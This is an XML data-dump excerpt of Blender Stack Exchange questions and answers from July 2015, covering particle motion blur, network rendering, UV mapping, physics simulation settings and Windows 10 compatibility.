  <row Id="33830" PostTypeId="1" CreationDate="2015-07-12T04:44:46.333" Score="1" ViewCount="498" Body="&lt;p&gt;I'm trying to render out some particles that are being emitted from three fast-moving objects and viewed by a following camera. The particles positions are correct, but when motion blur is turned on the particles get blurred backward &lt;em&gt;and forward&lt;/em&gt; from the current frame instead of from the current frame and backward, resulting in renders of particles overshooting their emitters once put into their comp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample render of what the render currently looks like. The streaks forward of the upward swoops shouldn't be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UDUmz.png&quot; alt=&quot;Cycles motion blur&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Internal's sampled motion blur is better about the forward/backward issue, but the particles are moving so fast that the 32 sample max is insufficient for getting a smooth blur; the samples are far enough apart to be dotted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zxnT9.png&quot; alt=&quot;Blender Internal sampled motion blur&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it possible for Cycles to sample &lt;em&gt;backward-only&lt;/em&gt; motion blur like BI's sampled motion blur does, or is there something else that can be done to achieve the desired effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those interested, &lt;a href=&quot;https://drive.google.com/file/d/0B1IhHGVTadxKMi1GRTRwbFVSdlk/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here's a link to the Blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15275" LastActivityDate="2015-07-12T04:44:46.333" Title="Q: Cycles motion blur is resulting in particles that are overshooting the emitters - how can I adjust the scene or blur settings to prevent this?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;particles&gt;&lt;blur&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33831" PostTypeId="1" CreationDate="2015-07-12T06:16:04.600" Score="0" ViewCount="1402" Body="&lt;p&gt;After watching &lt;a href=&quot;https://www.youtube.com/watch?v=VOjQET1hAEQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; on setting up network renders, I set about trying to make one myself. However, regardless of what file type I have selected, it keeps outputting black .exr files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I viewed a variety of links (&lt;a href=&quot;https://www.youtube.com/watch?v=CuerYVXsI7A&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc%3A2.6/Manual/Render/Performance/Netrender&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;, &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-197422.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;problem post&lt;/a&gt;, &lt;a href=&quot;https://blender.stackexchange.com/questions/5643/cycles-netrender-returning-black&quot;&gt;very similar StackExchange post with no answer&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/all_comments?v=VOjQET1hAEQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;unanswered YouTube comments reporting the same problem&lt;/a&gt;, and &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?265284-exr-file-in-blender-Video-Sequence-Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;a post about compositing .exr s&lt;/a&gt;.) However, I still am not sure what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/folderview?id=0Bzl8ZZsYnq_XNm9IaUZORnMxSm8&amp;amp;usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a link to the output and the file.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Know I didn't write a lot, so please feel free to ask questions. Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5661" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-07-15T06:54:38.213" Title="Net Render Outputs Black .exr Files, Regardless of Selected File Type" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33832" PostTypeId="1" CreationDate="2015-07-12T09:15:37.517" Score="1" ViewCount="571" Body="&lt;p&gt;I'm using Blender 2.75 Cycles, I'm looking at trying to create&#xA;an atmospheric re-entry scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm looking for a node setup to create something like this image by using particles or some alternative method. I have attempted to use the smoke simulator but the issue is my CPU is quite slow and GPU smoke rendering doesn't seem to be supported yet.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iNspy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15591" LastActivityDate="2015-07-12T10:34:49.297" Title="Atmospheric Re-entry" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-12T14:25:11.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="33833" PostTypeId="1" AcceptedAnswerId="33836" CreationDate="2015-07-12T09:48:56.433" Score="2" ViewCount="1109" Body="&lt;p&gt;I've set up a particle system that needs to have exactly one particle emitted from each face on the emitter mesh. However, the &quot;Particles/Face&quot; setting is apparently not working. When it's set low there are many faces not emitting particles, yet when it's set high enough that no faces are without particles there are also many doubled-up particles overlapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particles are bricks, so they are not animated, but I don't want holes in the wall or doubled-up geometry. Is there a problem with the &quot;Particles/Face&quot; setting, or am I misunderstanding what it does? How can I get just one particle per face?&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-07-12T11:11:37.853" Title="Particles per face are either too many or not enough" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33834" PostTypeId="2" ParentId="33829" CreationDate="2015-07-12T10:01:02.807" Score="1" Body="&lt;p&gt;Check the following image. I use a property named &quot;run_once&quot;. The script runs as long as the property is 0 and prints &quot;potato&quot; and the LogicTicRate. Also I have an actuator that sets the &quot;run_once&quot; property to 1 when the script runs for the first time, so it would never run again. I don't know if that is practical but I just thought of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you might notice that it prints &quot;potato&quot; 2 times. This happens cause of the logic tic rate, meaning the times per second the logic brick sensors are being executed. You can change this time with the command I put in comment in line 4. I haven't played with it, but I'll have too soon enough. You might not have a problem with it, but if you do check this (&lt;a href=&quot;http://bgepython.tutorialsforblender3d.com/GameLogic/setLogicTicRate&quot; rel=&quot;nofollow noreferrer&quot;&gt;set logic tic rate&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MRyC4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MRyC4.png&quot; alt=&quot;Screen&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="3127" LastEditDate="2015-07-12T14:52:04.933" LastActivityDate="2015-07-12T14:52:04.933" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33835" PostTypeId="2" ParentId="33832" CreationDate="2015-07-12T10:34:49.297" Score="1" Body="&lt;p&gt;I would model the reddish smoke as a solid object, parented with the ship, move it in it's own layer, set to a new render layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor you can blur it, make it transparent, add some noise texture to bring some life, mask some parts to animate it .....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fast rendering and effective results&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-12T10:34:49.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33836" PostTypeId="2" ParentId="33833" CreationDate="2015-07-12T11:11:37.853" Score="2" Body="&lt;p&gt;You could emit the bricks from vertices, make sure that you emit exactly the same number of particles as the emitting mesh has vertices (121 in this case):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bgXfu.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;from verts&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/338/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=338&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Emitting from faces with the grid option selected creates a box of emitted particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5JM8S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;from faces&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/337/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=337&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-12T11:11:37.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33837" PostTypeId="1" AcceptedAnswerId="34173" CreationDate="2015-07-12T11:50:07.807" Score="0" ViewCount="477" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SwL18.jpg&quot; alt=&quot;Current - frustrating - progress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm continuing to work my way through the original Match, Track, Blend(MTB) DVD, but I've smacked into a baffling problem in Chapter 16: &lt;a href=&quot;https://youtu.be/TUne-g956lQ?list=PLtuvwW4VAp5tu2RdbRHThM6FVFfvFur1g&amp;amp;t=400&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Clean Plate&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the image above, I've tried to replicate as closely as I can the markers that Sebastian Koenig chooses for his tutorial (I've also tried to copy his camera settings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - my camera solution is often crazy, varying between 8 and 240. Not changing any variables and just clicking on Solve Camera Motion will usually return a new, often very high value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortly after 6.40 in the video, Sebastian sets the solver to refine K1 &amp;amp; K2 and while I've tried the same, it only seems to restrict the average error within 16 units or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously MTB was made for an earlier version of Blender - but could there be settings from an older version which are more effective than the current Tracker defaults? And if so - what are they!? I've certainly experimented with affine, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help and advice, very much appreciated. The DVD has been mostly fantastic, and I've learnt tons... just a shame to hit a brick wall on this useful lesson!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Rev&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Bonus question! Obviously I haven't finished the Clean Plate tutorial, but I took a look at this vid - &lt;a href=&quot;https://www.youtube.com/watch?v=s_MXkTP73CI&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=s_MXkTP73CI&lt;/a&gt; Is there a chance the plate cleaning / clone painting tech has made it into Blender yet?&lt;/p&gt;&#xA;" OwnerUserId="1203" LastActivityDate="2015-07-17T23:39:08.017" Title="Why do I get a solve error above 100+ in MovieClipEditor while following the MatchTrackBlend DVD tutorial?" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33838" PostTypeId="1" AcceptedAnswerId="33842" CreationDate="2015-07-12T11:58:04.993" Score="3" ViewCount="1354" Body="&lt;p&gt;I made a low poly planet with mountains and water on it, and I am trying to achieve something like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LaZDH.jpg&quot; alt=&quot;Perfect render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Of course without the rocks in the space and the nice background)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried several shader combinations (Refraction, glossy, glass, transparent, ...) but I can't get anywhere close to it :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GR12N.png&quot; alt=&quot;My render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I watched several tutorials and found only realistic water shaders that are using glass, and if I use glass or refraction shaders I get bad results in the middle of the planet. How can I achieve nice looking shaders like the first one, I would love to get some help or advices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my blend in case you want to see my materials : &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/339/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=339&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15592" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-12T14:12:43.083" Title="Cycles special Water shader (Low Poly)" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33839" PostTypeId="1" AcceptedAnswerId="33840" CreationDate="2015-07-12T12:16:00.553" Score="1" ViewCount="214" Body="&lt;p&gt;I'm just trying to make a simple door.&#xA;I started with a plane, scaled it. Then I wanted to bevel the 2 top corners, but I can only bevel in proportion to the plane. That means the bevel is not 45°. Is there any workaround for that? &amp;lt;3&lt;/p&gt;&#xA;" OwnerUserId="15593" LastActivityDate="2015-07-12T12:25:58.823" Title="Bevel Vertices on Plane" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33840" PostTypeId="2" ParentId="33839" CreationDate="2015-07-12T12:25:58.823" Score="1" Body="&lt;p&gt;To get expected result, you need to first select the object, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; Scale, to apply the scale. (I'm not sure why, and it seems not being documented, but it works this way)&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-07-12T12:25:58.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33842" PostTypeId="2" ParentId="33838" CreationDate="2015-07-12T14:12:43.083" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Ground surface have to keep own relief under water surface;&lt;/li&gt;&#xA;&lt;li&gt;In original picture probably presents some specific HDR environment map producing specific light, hard to achieve with common light sources.&lt;/li&gt;&#xA;&lt;li&gt;I'm not shure you need decimate modifier (but this not really important).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Well. I tried to reproduce original picture (but without HDR environment). Afraid it will took much longer time to write what I've done than time I had spent doing this scene :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/340/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=340&quot; /&gt;&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9Ipsa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-12T14:12:43.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33843" PostTypeId="1" CreationDate="2015-07-12T15:40:54.333" Score="0" ViewCount="280" Body="&lt;p&gt;I only have the install wizard after finishing install. There is nothing to click on to open blender. I have installed 64 and 32.&lt;/p&gt;&#xA;" OwnerUserId="15597" LastEditorUserId="241" LastEditDate="2015-07-12T16:06:38.140" LastActivityDate="2015-07-12T16:06:38.140" Title="I have no icon to click on to open blender just the install wizard under downloads" Tags="&lt;installation&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33844" PostTypeId="2" ParentId="24152" CreationDate="2015-07-12T16:07:19.847" Score="6" Body="&lt;p&gt;There is now a public release of a Renderman plugin for Blender. Maintained in part by folks from Pixar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official intro to RenderMan for Blender: &lt;a href=&quot;https://community.renderman.pixar.com/article/906/introduction-to-prman-for-blender.html&quot; rel=&quot;nofollow&quot;&gt;https://community.renderman.pixar.com/article/906/introduction-to-prman-for-blender.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see PRMan for Blender Support thread:&#xA;&lt;a href=&quot;https://renderman.pixar.com/forum/showthread.php?s=&amp;amp;threadid=28298&quot; rel=&quot;nofollow&quot;&gt;https://renderman.pixar.com/forum/showthread.php?s=&amp;amp;threadid=28298&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15599" LastEditorUserId="3710" LastEditDate="2015-07-16T17:00:43.503" LastActivityDate="2015-07-16T17:00:43.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33845" PostTypeId="1" CreationDate="2015-07-12T16:15:24.183" Score="1" ViewCount="423" Body="&lt;p&gt;So when I set my texture up with UV and change a value such as Blue on the texture properties, my texture stays the same. I looked in the UV Editor and my texture is the same, is there a way to update my UV Editor Image live by changing a property in the texture properties area? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EX: Change blue in the texture area and the UV texture turns less blue than before&lt;/p&gt;&#xA;" OwnerUserId="15600" LastActivityDate="2015-08-11T19:26:02.733" Title="How do I update textures in the viewport from the textures properties?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33846" PostTypeId="2" ParentId="33301" CreationDate="2015-07-12T16:16:07.083" Score="7" Body="&lt;p&gt;One way this can be done, is using the render layers mask layers. While this may not be as simple as Denis's answer, it's always good to know more than one way to do something, and it can be a bit more flexible because it works with both cycles and BI (and should work with basically any other rendering engine also).&lt;/p&gt;&#xA;&lt;h2&gt;Using Mask Layers&lt;/h2&gt;&#xA;&lt;p&gt;To create a mask layer, move your object(s) to their own layer. Generally you want this layer to be a bit out of the way. I've highlighted in a few common choices, but of coarse, you can use whatever layer you want to.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Z66o.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, to use that layer as a mask, simply highlight it in the mask layers layer group.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lSAPV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This effect is really useful for a lot of things, including VFX, and advanced compositing, but my favorite use, is to make something appear bigger on the inside:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/32668/how-can-i-create-a-portal&quot;&gt;How can I create a portal?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-12T16:16:07.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33847" PostTypeId="1" AcceptedAnswerId="34000" CreationDate="2015-07-12T16:22:44.517" Score="1" ViewCount="182" Body="&lt;p&gt;I want to know if my vehicle (Vehicle wrapper) collides with the ground. But I can't figure out any method that to check that.&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="3401" LastEditDate="2015-12-22T18:09:26.167" LastActivityDate="2015-12-22T18:09:26.167" Title="How can I check if a wheel of a vehicle collides with the floor?" Tags="&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33848" PostTypeId="1" CreationDate="2015-07-12T17:05:32.447" Score="5" ViewCount="11597" Body="&lt;p&gt;Will Blender still work on Windows 10, and if so, will the full screen functionality still work? Are there any issues with Blender and Windows 10 I should be aware of before upgrading?&lt;/p&gt;&#xA;" OwnerUserId="15601" LastEditorDisplayName="user1853" LastEditDate="2015-12-09T16:54:09.630" LastActivityDate="2015-12-09T16:54:09.630" Title="Is Blender compatible with Windows 10?" Tags="&lt;windows&gt;" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33849" PostTypeId="2" ParentId="33847" CreationDate="2015-07-12T17:09:02.580" Score="2" Body="&lt;p&gt;1) Make the vehicle dynamic in the physics tab. And make the ground static.&#xA;In both of them activate the collision bounds under the same tab.&#xA;Afterwards press Game --&gt; Show Physics Visualization&#xA;Now when you press P you are gonna see the collision boxes and when the vehicle drops to touch the ground the vertices that touch it are gonna become yellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)Else add a collision sensor to the vehicle and select the material option and there add the material of the ground. You can just order a python script to print &quot;Touch&quot; everytime the sensor is positive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)Else add the same sensor as in (2) and also add a property. When the vehicle touches the ground have the property's value to change and make it visible during play time by activating the  (!) next to the property and the Game --&gt; &quot;Show Debug Properties&quot;.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-07-12T17:09:02.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33850" PostTypeId="2" ParentId="33848" CreationDate="2015-07-12T17:26:33.110" Score="2" Body="&lt;p&gt;As far as we know right now, no, there won't be any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows probably couldn't afford a major change in their programming API that effect Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably make a few large software companies a bit angry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the fullscreen functionality, this is something that shouldn't really be effected much by the platform. If it wasn't working on a specific platform (that Blender can run on), it would be a major bug. Lot's of people (including myself) use this all the time to help focus on our work a bit more, and loosing the functionality would probably make half the community extremely angry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Just a disclaimer, I haven't tried Windows 10, so I can't say for sure that Blender won't work on it, but I am extremely confident that it will.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-07-12T17:26:33.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33851" PostTypeId="1" CreationDate="2015-07-12T17:34:50.673" Score="0" ViewCount="240" Body="&lt;p&gt;I am rendering out a CGI sequence for use in After Effects using this process &lt;a href=&quot;https://www.youtube.com/watch?v=t_B2H_jnaoU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=t_B2H_jnaoU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this several times before and it has worked wonderfully, but for some odd reason, for this scene, the shadow catcher layer doesn't render. All of my settings on the render layers are the same as the video's &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g2buq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mk2qM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else could be interfering? &lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-07-13T05:25:45.503" Title="Shadow catcher layer for After Effects not rendering" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33852" PostTypeId="1" AcceptedAnswerId="33853" CreationDate="2015-07-12T17:38:51.093" Score="6" ViewCount="449" Body="&lt;p&gt;Is there any simple way of telling which UV face corresponds to which 3D model face?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a room (in V 2.71) with a doorway and a window out of a hollowed cube and generated a UV mapping for it with &quot;Smart UV project&quot; but it is not obvious to me how to tell which face is, say, the floor or the left face of the door frame. I can highlight them in the main window to see which face gets highlighted in the UV window, but that's laborious and confusing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if my model gets a little more complicated, say I had more rooms and interior doorways, I know I'll end up with lots of tiny thin rectangles on the UV map often placed in really weird locations that don't correspond to the floorplan. Telling which is which will be really hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this done on complicated models?&lt;/p&gt;&#xA;" OwnerUserId="15602" LastEditorUserId="3078" LastEditDate="2015-07-12T18:26:42.630" LastActivityDate="2015-07-12T18:26:42.630" Title="Is there a way of easily identifying which mesh face a UV face corresponds to?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33853" PostTypeId="2" ParentId="33852" CreationDate="2015-07-12T17:49:33.207" Score="8" Body="&lt;p&gt;You can eneable the &quot;keep UV and edit mode mesh selection in sync&quot; button, in the UV editor&lt;img src=&quot;https://i.stack.imgur.com/kuvx7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-07-12T17:57:09.940" LastActivityDate="2015-07-12T17:57:09.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33854" PostTypeId="1" AcceptedAnswerId="33868" CreationDate="2015-07-12T17:59:49.797" Score="0" ViewCount="149" Body="&lt;p&gt;And below is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vurQz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The smoke is confined to the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing there are parameters that I need to adjust but I have not made any changes to the default settings since installing Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to fix this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When on loop it appears to extend above the cube occasionally and when I was tinkering with Physics/Behaviour/Density it actually flowed like it should for one cycle. This may have been coincidence as I've not been able to replicate it. Is this an indication that my computer is unable to simulate properly?&lt;/p&gt;&#xA;" OwnerUserId="15576" LastEditorUserId="15576" LastEditDate="2015-07-12T21:42:50.967" LastActivityDate="2015-07-12T21:54:13.690" Title="I've been trying to run the Quick Smoke simulation" Tags="&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33855" PostTypeId="1" CreationDate="2015-07-12T18:04:01.237" Score="4" ViewCount="307" Body="&lt;p&gt;I'd like to apply a constant force to all objects, attracting them to the scene's origin. A Force object with negative strength at &lt;code&gt;(0,0,0)&lt;/code&gt; with no falloff would do the trick. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to disable a Force object's falloff?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a negative force object will stretch a softbody; the closest parts of the mesh will move toward the force quicker than the rest. See this stretched torus object (attached .blend):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EmtMM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/342/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=342&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2018-02-26T22:54:36.257" Title="Can a Force object have no falloff?" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33856" PostTypeId="1" AcceptedAnswerId="33956" CreationDate="2015-07-12T18:33:49.343" Score="7" ViewCount="2981" Body="&lt;p&gt;Scene: A floor plane rotated at 45deg. A cloth plane rotated at 45deg and 1m above the floor plane. The floor plane uses a Collision Modifier and the cloth plane uses a Cloth Modifier; when I run/play the simulation/animation the slanted cloth falls onto the slanted floor (collides), and slides down the slanted floor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: How does Cloth Friction work in a scene such as this (or any other situation)? I tried increasing the Cloth Friction, from 0.0 to 80.0, and I didn't see any significant difference in the speed of the cloth sliding down the slanted floor. I did see a change in the speed when I changed the rotation on the cloth&amp;amp;floor from 45deg to 35deg and 25deg -- the cloth slides faster when the floor has a steeper incline. However, I didn't see a difference in speed/motion when I increased the Friction to its maximum (80.0). I'd love to try to increase the maximum past 80.0 to see if it works, but I don't think it is possible with Blender. Is this expected/normal behavior? I would expect the cloth to slide down slower with a higher friction.&lt;/p&gt;&#xA;" OwnerUserId="13911" LastEditorUserId="2217" LastEditDate="2015-07-14T00:28:39.470" LastActivityDate="2015-07-14T20:35:59.360" Title="How Does Cloth Friction Work?" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
